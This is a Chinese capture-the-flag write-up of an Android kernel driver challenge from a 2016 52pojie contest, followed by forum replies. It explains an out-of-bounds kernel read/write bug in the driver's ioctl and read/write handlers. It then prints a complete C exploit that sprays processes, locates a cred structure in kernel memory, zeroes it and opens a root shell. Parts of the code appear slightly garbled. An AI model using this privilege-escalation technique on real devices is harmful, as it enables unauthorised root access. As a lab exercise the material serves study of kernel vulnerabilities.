吾爱破解2016安全挑战赛第5题Android溢出题
漏洞分析题目为一份驱动源码,答题者需要找到驱动源码中的一个漏洞,并利用该漏洞完成root提权。
源码中提供了`open`、`read`、`write`、`ioctl`共4个函数,其中漏洞出现在`ioctl`函数中,具体代码如下:
static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct mem_init data;
if(!arg)
return -EINVAL;
if(copy_from_user(&data, (void *)arg, sizeof(data))) {
return -EFAULT;
}
if(data.len <= 0 || data.len >= 0x1000000)
return -EINVAL;
if(data.idx < 0)
return -EINVAL;
switch(cmd) {
case 0:
mem_devp.size = 0x5a000000 | (data.len & 0xffffff);
mem_devp.data = kmalloc(data.len, GFP_KERNEL);
if(!mem_devp.data) {
return -ENOMEM;
}
memset(mem_devp.data, 0, data.len);
break;
default:
return -EINVAL;
}
return 0;
}
其中data的值由用户传入,data的类型为mem_init结构体,包含idx和len两个成员。上述代码中,对idx和len做了一些简单校验。在cmd为0时,驱动使用kmalloc申请了len大小的空间,而size的值用了很奇怪的计算方式。我们假设传入的idx为0,len为0x8,前面校验通过,然后进入case 0,其中`mem_devp.size`的值为0x5a000008,`mem_devp.data`指向大小为0x8的空间。可以看到,通过我们构造的data,size远大于len。
再看`read`函数,具体代码如下:
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
unsigned long p =*ppos;
unsigned int count = size;
int ret = 0;
struct mem_dev *dev = filp->private_data;
if((dev->size >> 24 & 0xff) != 0x5a)
return -EFAULT;
if (p > dev->size)
return -ENOMEM;
if (count > dev->size - p)
count = dev->size - p;
if (copy_to_user(buf, (void*)(dev->data + p), count)) {
ret =-EFAULT;
} else {
*ppos += count;
ret = count;
}
return ret;
}
其中buf为用户传入的地址,count为用户传入的大小,dev为`ioctl`中的`mem_devp.data`。这里同样有3个简单校验,其一为判断dev的size的高8位的值是否为0x5a;其二为判断文件指针是否超过了dev的size;其三判断用户初入的count是否超过了dev剩下的大小。由上文知道,dev的size值为0x5a000008,也就是说count的值不超过0x5a000008即可通过校验。后面的`copy_to_user`就是将dev的data中的count大小的数据读入buf。注意在`ioctl`里我们只申请了8字节的空间,但是在`read`却可以读入0x5a000008字节的内容!因此这里存在内核读漏洞,同理在`write`中存在内核写漏洞。
漏洞利用
每个进程在内核都有一个cred结构体,该结构体存放了进程的uid、gid等信息,通过修改这个结构体即可完成root提权。在本题目的环境下,cred结构体定义如下:
struct cred {
unsigned long usage;
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned long securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted;/* caps we're permitted */
kernel_cap_t cap_effective;/* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
void *security; /* subjective LSM security */
};
利用思路如下:
1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
4. 匹配成功后,使用`write`修改其cred结构体,完成root;
exp代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#define MAX_CHILDREN_PROCESS 1024
struct cred {
// unsigned long usage;
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
// unsigned long securebits; /* SUID-less security management */
// kernel_cap_t cap_inheritable; /* caps our children can inherit */
// kernel_cap_t cap_permitted;/* caps we're permitted */
// kernel_cap_t cap_effective;/* caps we can actually use */
// kernel_cap_t cap_bset; /* capability bounding set */
// unsigned char jit_keyring;
// void *thread_keyring;
// void *request_key_auth;
// void *tgcred;
// void *security; /* subjective LSM security */
} my_cred = {0};
struct mem_init {
uint32_t idx;
uint32_t len;
} data = {0, 8};
static pid_t pids;
static int children_num;
static void tryRoot()
{
raise(SIGSTOP);
if (getuid() == 0) {
printf("root success!\n");
system("/bin/sh");
}
exit(0);
}
static void sprayingChildProcess()
{
int i;
int pid;
for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
pid = fork();
if (pid < 0) {
break;
}
else if (pid == 0) {
tryRoot();
}
else {
pids = pid;
}
}
children_num = i;
}
static void setMyCred() {
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t ruid;
gid_t rgid;
getresuid(&ruid, &euid, &suid);
getresgid(&rgid, &egid, &sgid);
my_cred.uid = getuid();
my_cred.gid = getgid();
my_cred.suid = suid;
my_cred.sgid = sgid;
my_cred.euid = euid;
my_cred.egid = egid;
my_cred.fsuid = getuid();
my_cred.fsgid = getgid();
}
static int searchCred(int fd) {
int ret;
char buf;
int p;
int cred;
setMyCred();
ret = ioctl(fd, 0, &data);
if (ret != 0) {
perror("ioctl");
return 0;
}
while (1) {
ret = read(fd, buf, 4096);
if (ret != 4096) {
perror("read");
return 0;
}
p = memmem(buf, 4096, &my_cred, sizeof(my_cred));
if (p) {
printf("we found cred.\n");
cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;
return cred;
}
}
return 0;
}
static void modifyCred(int fd, int cred)
{
struct cred new_cred;
lseek(fd, cred, SEEK_SET);
memset(&new_cred, 0, sizeof(new_cred));
write(fd, &new_cred, sizeof(new_cred));
printf("modify cred over.\n");
}
int main()
{
int fd;
int cred;
int i;
sprayingChildProcess();
fd = open("/dev/memdev0", O_RDWR);
if (fd < 0) {
perror("open");
goto out;
}
cred = searchCred(fd);
if (cred == 0) {
goto out;
}
modifyCred(fd, cred);
out:
if (fd > 0) {
close(fd);
}
for (i = 0; i < children_num; ++i) {
kill(pids, SIGCONT);
}
while (1) {
if (wait(NULL) < 0) {
break;
}
}
return 0;
}
后记
这里还有其他几种root方案,本文提到的是一种比较粗暴的方法,有一定的失败几率,比如当喷射的cred全部都位于驱动kmalloc的下面,`searchCred`就会失败。另外这种通过直接匹配uid、gid的方式总感觉有些不靠谱,还有个更好的方案是匹配thread_info结构体的comm成员,从而找到cred地址,然后利用slab的freelist将本文内存写漏洞转变为内存任意地址写漏洞,最后修改cred结构体信息即可,具体代码留给读者实现。
PS:比赛提交的exp简直太搓了,评委大大手下留情。
piaoransfx 发表于 2016-4-7 14:37
我居然看不懂。。。
没有讲很细,需要些基础,有句话说的好,Talk is cheap. Show me the code 前排出售杜蕾斯、杰士邦、冈本、第六感、诺丝、高邦、诺丝、高邦、双蝶、多乐士避孕套{:17_1082:} 我居然第一 我来试试 我居然看不懂。。。 不懂,赞一个{:1_921:} 高学霸的样子,以为现在的学识一丁点都看不懂 前排围观,出售瓜子~ 我就占个位置~